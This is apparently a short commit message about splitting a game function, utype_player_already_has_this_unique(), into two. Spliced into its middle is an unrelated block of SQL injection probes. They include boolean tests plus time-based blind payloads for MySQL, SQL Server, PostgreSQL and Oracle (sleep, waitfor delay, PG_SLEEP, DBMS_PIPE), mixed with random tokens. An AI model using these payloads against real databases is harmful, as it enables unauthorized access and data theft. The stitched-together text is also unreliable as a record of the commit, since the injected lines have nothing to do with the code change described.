Factor out utype_player_already_has_this()
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-1 OR 2+261-261-1=0+0+0+1 --
OGR7hMRO
-1' OR 2+342-342-1=0+0+0+1 or 'c72M1TOe'='
-1' OR 2+461-461-1=0+0+0+1 --
-1 OR 2+684-684-1=0+0+0+1
-1" OR 2+180-180-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
8UfnbA5K'; waitfor delay '0:0:15' --
WZPG4SS4' OR 882=(SELECT 882 FROM PG_SLEEP(15))--
fk9EYWtB') OR 674=(SELECT 674 FROM PG_SLEEP(15))--
TQKHqrEv')) OR 260=(SELECT 260 FROM PG_SLEEP(15))--
1
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@VhWYo
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Split utype_player_already_has_this_unique() in two so it becomes possible to check if a player has a unit of a certain type.